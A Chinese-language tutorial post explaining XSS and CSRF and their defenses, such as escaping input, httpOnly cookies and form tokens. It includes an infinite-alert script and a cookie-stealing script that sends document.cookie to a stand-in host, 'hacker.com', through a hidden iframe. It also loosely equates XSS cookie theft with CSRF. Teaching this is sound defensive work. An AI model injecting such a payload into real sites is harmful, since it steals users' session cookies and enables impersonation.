xss(cross site script)，跨站脚本攻击，简称本应该是css,但是为了避免和css层叠样式表冲突，退而求其次取xss.
csrf(Cross-site request forgery)，跨站请求伪造
让我尝试用大白话来解释一下这两者的概念和如何防范。
XSS概念
在一些社交论坛，各种网站的评论区都是xss注入的高发区，也就是只要有用户输入的地方，就有可能发生xss注入。因为公民不一定是人民。
假如你在评论区中留下了这样的评论。
<script>
while( true ) {
alert('xss');
}
</script>
这段评论前端不做任何处理发送到服务器后，后端也不做任何处理，后端直接将这段文字渲染出来。那么打开这个页面的人就会关不掉浏览器弹窗提示，可以说是遭到了xss攻击。
当然这并没有造成太大的损失。如果把刚刚那段代码改成这样。
<script>
(function () {
var cookie = document.cookie;
var hackerURL = 'http://hacker.com/getCookie?cookie=';
var url = hackerURL + encodeURI(cookie);
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.src = url;
document.body.appendChild(iframe);
}())
</script>
这样你的cookie就被黑客盗取了。稍微了解服务端的人都知道cookie是用户的识别凭证。黑客拿到了这个cookie，就可以伪造用户，后果不堪设想。这就是下面要说的csrf了。
还有一种情况。就是使用innerHTML.
如果有的需求需要将用户的输入实时显示在页面上。比如说编辑器。
编辑器可能需要使用html标签进行排版，如果用户输入上面例子中的代码，如果不对用户输入进行转义也会发生上面的xss注入攻击了。
或者页面显示内容是使用innerHTML拼接的字符串，那么对于用户输入的部分就要额外小心。
现在开源的高star编辑器一般都会对用户进行转义了。
不一定是script标签才能执行js，任何带onload或者onclick事件的html标签都可能成为xss注入的载体。
防范措施的根本是对用户输入进行转义。
csrf
xss是实现csrf的一种方式。当用户拿到用户的cookie之后就可以伪造用户进行黑客行为了。
通过xss实现的csrf也叫做xsrf。
我们可以设置cookie为httpOnly，这样js就不能获取cookie的值了。
那么这时候黑客就改变机制。使用钓鱼网站。
当你在某个网站登录了，比如说网上银行。这也意味着在浏览器中保存了cookie。当你同时点进入了一个黑客的链接。
执行了黑客的脚本，这段脚本使用浏览器自带携带cookie的机制，可能会执行删帖，转账任何可能的操作。
但是浏览器的同源政策限制了不能在js中发出跨域请求。
那么我可以使用iframe或者img来模拟get请求。所以说网站服务端api的设计最好符合restful风格。使用get请求资源，put,delete,post修改资源。
这样就增大了黑客伪造的难度，让我们的网站相对安全一些了。
但是iframe还是可以模拟post请求啊。
所以对于表单的提交需要使用令牌。令牌可以存储在浏览器中，提交表单的时候只有网站用户才会提交这个令牌到服务器进行校对。而黑客不知道这个令牌的存在也就无法伪造成功了。
